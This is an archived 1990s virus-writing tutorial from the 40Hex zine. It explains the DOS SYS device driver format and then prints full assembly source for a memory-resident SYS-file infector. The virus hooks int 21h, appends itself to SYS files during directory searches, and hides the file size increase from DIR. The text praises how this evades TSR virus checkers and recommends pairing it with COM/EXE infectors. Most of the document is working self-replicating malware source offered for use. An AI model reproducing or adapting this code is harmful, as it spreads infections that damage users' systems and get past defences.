💾 Archived View for spam.works › mirrors › textfiles › virus › datut004.txt captured on 2023-06-16 at 21:02:03.

View Raw

More Information

-=-=-=-=-=-=-


                   ?????????????????????????????????????????
                   An Introduction to Nonoverwriting Viruses
                            Part III: SYS Infectors
                   ?????????????????????????????????????????
                                 By Dark Angel
                   ?????????????????????????????????????????

       The SYS  file is the most overlooked executable file structure in DOS.
  Viruses are  quite capable of infecting SYS files, as DOS kindly allows for
  such extensions to this file format.

       The SYS  file is loaded beginning at offset 0 of a particular segment.
  It consists  of a  header followed  by code.   SYS  files  may  be  chained
  together after  a simple  modification in  the header.   This is the key to
  infecting SYS files.

       There are  two types  of device  drivers; block  and character.  Block
  devices include  floppy, hard,  and virtual disks, i.e. any media which can
  store data.   Character devices include printers, modems, keyboard, and the
  screen.   The virus  will generally  be a  character device,  as it reduces
  complexity.

  The header structure is straightforward:

  Offset  Size  Description
  ------  ----  -----------
    0h    DWORD Pointer to next header
    4h    WORD  Attribute
    6h    WORD  Pointer to strategy routine
    8h    WORD  Pointer to interrupt routine
   0Ah    QWORD Name of the device driver

  The pointer  to the next device driver header appears at offset zero in the
  header.  This is a far pointer consisting of a segment:offset pair.  If the
  current device  is the  only device  appearing in  the SYS  file, then this
  pointer should  be set  to FFFF:FFFF.   However,  if there  are two or more
  device drivers contained in the file, then the offset field should be equal
  to the absolute location of the next device in the file.  The segment field
  should remain  FFFF.   For example,  if a  second device  driver occurs  at
  offset 300h of the file, then the DWORD at offset 0 would be FFFF:0300  The
  second (and all other) device driver must contain a new header as well.

  The next  field contains  the attribute  of the  device  driver.    Bit  15
  determines the  nature of  the device  driver.   If bit 15 is set, then the
  device driver  header corresponds  to a  character device;  otherwise,  the
  device is  a block  device.   You need not concern yourself with any of the
  other bits; they may remain cleared.

  Before the  next two fields may be understood, it is necessary to introduce
  the concept  of the  request header.   The  request header  contains  DOS's
  requests of the device driver.  For example, DOS may ask for initialisation
  or a  read or  even a  status check.   The information needed by the device
  driver to interpret the request is all contained in the request header.  It
  is passed  to the  strategy routine  by DOS as a far pointer in ES:BX.  The
  job of the strategy routine is to save the pointer for use by the interrupt
  routine.   The interrupt  routine is  called by  DOS immediately  after the
  strategy routine.   This  routine processes  the request  in the header and
  performs the appropriate actions.

  The word-length  pointers in  the SYS  header to the strategy and interrupt
  routines are  relative to  the start  of the SYS file.  So, if the strategy
  routine resides  in absolute  offset  32h  in  the  file,  then  the  field
  containing the location of the strategy routine would hold the number 32h.

  The name  field in  the SYS header simply holds an 8 byte device name.  For
  example, 'NUL     '  and 'CLOCK$  '  are two  common DOS devices.  The name
  should be justified with space characters (0x20).

       By using  DOS's feature  of chaining  SYS files,  we may easily infect
  this type  of file.   No  bytes need to be saved.  There are but two steps.
  The first is to concatenate the virus to the target file.  The second is to
  alter the  first word  of the  SYS file  to point to the virus header.  The
  only trick  involved is  writing the  SYS interrupt routine.  The format of
  the request header is:

  Offset  Size  Description
  ------  ----  -----------
    0h    BYTE  Length of request header (in bytes)
    1h    BYTE  Unit code (for block devices)
    2h    BYTE  Command code
    3h    WORD  Status
    5h    QWORD Reserved by DOS
   0Dh    Var.  Data for the operation

       Only one  command code  is relevant  for  use  in  the  virus.    Upon
  initialisation of  the device driver, DOS will send a request header with 0
  in the  command code  field.  This is the initialisation check.  The format
  of the variable sized field in the request header in this case is:

  Offset  Size  Description
  ------  ----  -----------
   0Dh    BYTE  Number of units (ignored by character devices)
   0Eh    DWORD Ending address of resident program code
   12h    DWORD Pointer to BPB aray (ignored by character devices)
   16h    BYTE  Drive number (irrelevant in character devices)

       The only  relevant fields are at offset 3 and 0Eh.  Offset 3 holds the
  status word of the operation.  The virus fills this in with the appropriate
  value.   Generally, the virus should put a value of 100h in the status word
  in the  event of a successful request and a 8103h in the status word in the
  event of  a failure.   The 8103h causes DOS to think that the device driver
  does not  understand the  request.   A value of 8102h should be returned in
  the event  of a  failed installation.   Offset 0Eh will hold the address of
  the end  of the  virus (include  the heap!)  in the  event of  a successful
  installation and CS:0 in the event of a failure.

       Basically, the  strategy routine  of the virus should contain a simple
  stub to  save the  es:bx pointer.   The  interrupt routine  should fail all
  requests other  than initialisation.   It should perform an installation if
  the virus  is not  yet installed  and fail  if  it  is  already  in  memory
  (remember to set offset 0eh to cs:0).

  A sample  infector with very limited stealth features follows.  While it is
  somewhat large,  it may  be easily  coupled with a simple COM/EXE infection
  routine to  create a  powerful virus.   It  is a  SYS-only, memory resident
  infector.

  ---------------------------------------------------------------------------
  .model tiny
  .code
  org 0                           ; SYS files originate at zero
  ; SYS infector
  ; Written by Dark Angel of Phalcon/Skism
  ; for 40Hex
  header:

  next_header dd -1               ; FFFF:FFFF
  attribute   dw  8000h           ; character device
  strategy    dw  offset _strategy
  interrupt   dw  offset _interrupt
  namevirus   db  'SYS INF '      ; simple SYS infector

  endheader:

  author      db  0,'Simple SYS infector',0Dh,0Ah
              db    'Written by Dark Angel of Phalcon/Skism',0

  _strategy:  ; save es:bx pointer
          push    si
          call    next_strategy
  next_strategy:
          pop     si
          mov     cs:[si+offset savebx-offset next_strategy],bx
          mov     cs:[si+offset savees-offset next_strategy],es
          pop     si
          retf

  _interrupt:  ; install virus in memory
          push    ds                      ; generally, only the segment
          push    es                      ; registers need to be preserved

          push    cs
          pop     ds

          call    next_interrupt
  next_interrupt:
          pop     bp
          les     bx,cs:[bp+savebx-next_interrupt] ; get request header
  pointer

          mov     es:[bx+3],8103h         ; default to fail request
          cmp     byte ptr es:[bx+2], 0   ; check if it is installation
  request
          jnz     exit_interrupt          ; exit if it is not

          mov     es:[bx+10h],cs          ; fill in ending address value
          lea     si,[bp+header-next_interrupt]
          mov     es:[bx+0eh],si
          dec     byte ptr es:[bx+3]      ; and assume installation failure

          mov     ax, 0b0fh               ; installation check
          int     21h
          cmp     cx, 0b0fh
          jz      exit_interrupt          ; exit if already installed

          add     es:[bx+0eh],offset endheap ; fixup ending address
          mov     es:[bx+3],100h          ; and status word

          xor     ax,ax
          mov     ds,ax                   ; ds->interrupt table
          les     bx,ds:[21h*4]           ; get old interrupt handler
          mov     word ptr cs:[bp+oldint21-next_interrupt],bx
          mov     word ptr cs:[bp+oldint21+2-next_interrupt],es

          lea     si,[bp+int21-next_interrupt]
          cli
          mov     ds:[21h*4],si           ; replace int 21h handler
          mov     ds:[21h*4+2],cs
          sti
  exit_interrupt:
          pop     es
          pop     ds
          retf

  int21:
          cmp     ax,0b0fh                ; installation check?
          jnz     notinstall
          xchg    cx,ax                   ; mark already installed
  exitint21:
          iret
  notinstall:
          pushf
          db      9ah                     ; call far ptr  This combined with
  the
  oldint21 dd     ?                       ; pushf simulates an int 21h call

          pushf

          push    bp
          push    ax

          mov     bp, sp                  ; set up new stack frame
                                          ; flags         [bp+10]
                                          ; CS:IP         [bp+6]
                                          ; flags new     [bp+4]
                                          ; bp            [bp+2]
                                          ; ax            [bp]
          mov     ax, [bp+4]              ; get flags
          mov     [bp+10], ax             ; replace old flags with new

          pop     ax                      ; restore the stack
          pop     bp
          popf

          cmp     ah, 11h                 ; trap FCB find first and
          jz      findfirstnext
          cmp     ah, 12h                 ; FCB find next calls only
          jnz     exitint21
  findfirstnext:
          cmp     al,0ffh                 ; successful findfirst/next?
          jz      exitint21               ; exit if not

          push    bp
          call    next_int21
  next_int21:
          pop     bp
          sub     bp, offset next_int21

          push    ax                      ; save all registers
          push    bx
          push    cx
          push    dx
          push    ds
          push    es
          push    si
          push    di

          mov     ah, 2fh                 ; ES:BX <- DTA
          int     21h

          push    es                      ; DS:BX->DTA
          pop     ds

          cmp     byte ptr [bx], 0FFh     ; extended FCB?
          jnz     regularFCB              ; continue if not
          add     bx, 7                   ; otherwise, convert to regular FCB
  regularFCB:
          mov     cx, [bx+29]             ; get file size
          mov     word ptr cs:[bp+filesize], cx

          push    cs                      ; ES = CS
          pop     es

          cld

          ; The following code converts the FCB to an ASCIIZ string
          lea     di, [bp+filename]       ; destination buffer
          lea     si, [bx+1]              ; source buffer - filename

          cmp     word ptr [si],'OC'      ; do not infect CONFIG.SYS
          jz      bombout

          mov     cx, 8                   ; copy up to 8 bytes
  back:   cmp     byte ptr ds:[si], ' '   ; is it a space?
          jz      copy_done               ; if so, done copying
          movsb                           ; otherwise, move character to
  buffer
          loop    back

  copy_done:
          mov     al, '.'                 ; copy period
          stosb

          mov     ax, 'YS'
          lea     si, [bx+9]              ; source buffer - extension
          cmp     word ptr [si], ax       ; check if it has the SYS
          jnz     bombout                 ; extension and exit if it
          cmp     byte ptr [si+2], al     ; does not
          jnz     bombout
          stosw                           ; copy 'SYS' to the buffer
          stosb

          mov     al, 0                  ; copy null byte
          stosb

          push    ds
          pop     es                      ; es:bx -> DTA

          push    cs
          pop     ds

          xchg    di,bx                   ; es:di -> DTA
                                          ; open file, read/only
          call    open                    ; al already 0
          jc      bombout                 ; exit on error

          mov     ah, 3fh                 ; read first
          mov     cx, 2                   ; two bytes of
          lea     dx, [bp+buffer]         ; the header
          int     21h

          mov     ah, 3eh                 ; close file
          int     21h

  InfectSYS:
          inc     word ptr cs:[bp+buffer] ; if first word not FFFF
          jz      continueSYS             ; assume already infected
                                          ; this is a safe bet since
                                          ; most SYS files do not have
                                          ; another SYS file chained on

  alreadyinfected:
          sub     es:[di+29], heap - header ; hide file size increase
                                          ; during a DIR command
                                          ; This causes CHKDSK errors
         ;sbb     word ptr es:[di+31], 0  ; not needed because SYS files
                                          ; are limited to 64K maximum

  bombout:
          pop     di
          pop     si
          pop     es
          pop     ds
          pop     dx
          pop     cx
          pop     bx
          pop     ax
          pop     bp
          iret

  continueSYS:
          push    ds
          pop     es

          lea     si, [bp+offset header]
          lea     di, [bp+offset bigbuffer]
          mov     cx, offset endheader - offset header
          rep     movsb

          mov     cx, cs:[bp+filesize]
          add     cx, offset _strategy - offset header  ; calculate offset to
          mov     word ptr [bp+bigbuffer+6],cx            ; strategy routine

          add     cx, offset _interrupt - offset _strategy;calculate offset to
          mov     word ptr cs:[bp+bigbuffer+8], cx        ; interrupt routine

  continueinfection:
          mov     ax, 4300h               ; get file attributes
          lea     dx, [bp+filename]
          int     21h

          push    cx                      ; save attributes on stack
          push    dx                      ; save filename on stack

          mov     ax, 4301h               ; clear file attributes
          xor     cx, cx
          lea     dx,[bp+filename]
          int     21h

          call    openreadwrite

          mov     ax, 5700h               ; get file time/date
          int     21h
          push    cx                      ; save them on stack
          push    dx

          mov     ah, 40h                 ; write filesize to the old
          mov     cx, 2                   ; SYS header
          lea     dx, [bp+filesize]
          int     21h

          mov     ax, 4202h               ; go to end of file
          xor     cx, cx
          cwd                             ; xor dx, dx
          int     21h

          mov     ah, 40h                 ; concatenate header
          mov     cx, offset endheader - offset header
          lea     dx, [bp+bigbuffer]
          int     21h

          mov     ah, 40h                 ; concatenate virus
          mov     cx, offset heap - offset endheader
          lea     dx, [bp+endheader]
          int     21h

          mov     ax, 5701h               ; restore file time/date
          pop     dx
          pop     cx
          int     21h

          mov     ah, 3eh                 ; close file
          int     21h

          mov     ax, 4301h               ; restore file attributes
          pop     cx
          pop     dx
          int     21h

          jmp     bombout

  openreadwrite:
          mov     al, 2                   ; open read/write mode
  open:   mov     ah, 3dh
          lea     dx,[bp+filename]
          int     21h
          xchg    ax, bx                  ; put handle in bx
          ret

  heap:
  savebx   dw      ?
  savees   dw      ?
  buffer   db      2 dup (?)
  filename db     13 dup (?)
  filesize dw     ?
  bigbuffer db    offset endheader - offset header dup (?)
  endheap:

  end header
  ---------------------------------------------------------------------------

       The reason the "delta offset" is needed throughout the file is because
  it is  impossible to  know the  exact location  where the  SYS file will be
  loaded into memory.  This can be ameliorated by some file padding and fancy
  mathematical calculations.

       The advantages of using SYS files are manyfold.  There is no load high
  routine involved  apart from  the strategy/interrupt  routines.  This saves
  space.   SYS files  also generally  load before  TSR virus  checkers.   TSR
  checkers also  can't detect the residency routine of the virus, since it is
  a normal part of the DOS loading process.  The routine for the infection of
  the SYS  file is ridiculously easy to implement and takes remarkably little
  space, so  there is  no reason  not to  include  SYS  support  in  viruses.
  Finally, the  memory "loss"  reported by  CHKDSK  usually  associated  with
  memory resident viruses is not a problem with SYS files.

       A SYS  file infector,  when  combined  with  a  COM  and  EXE  general
  infector, can  lead to  a powerful  virus.   Once the  first  SYS  file  is
  infected, the infected system becomes extremely vulnerable to the virus, as
  there is  little the user can  do to prevent the virus  from running, short
  of a clean boot.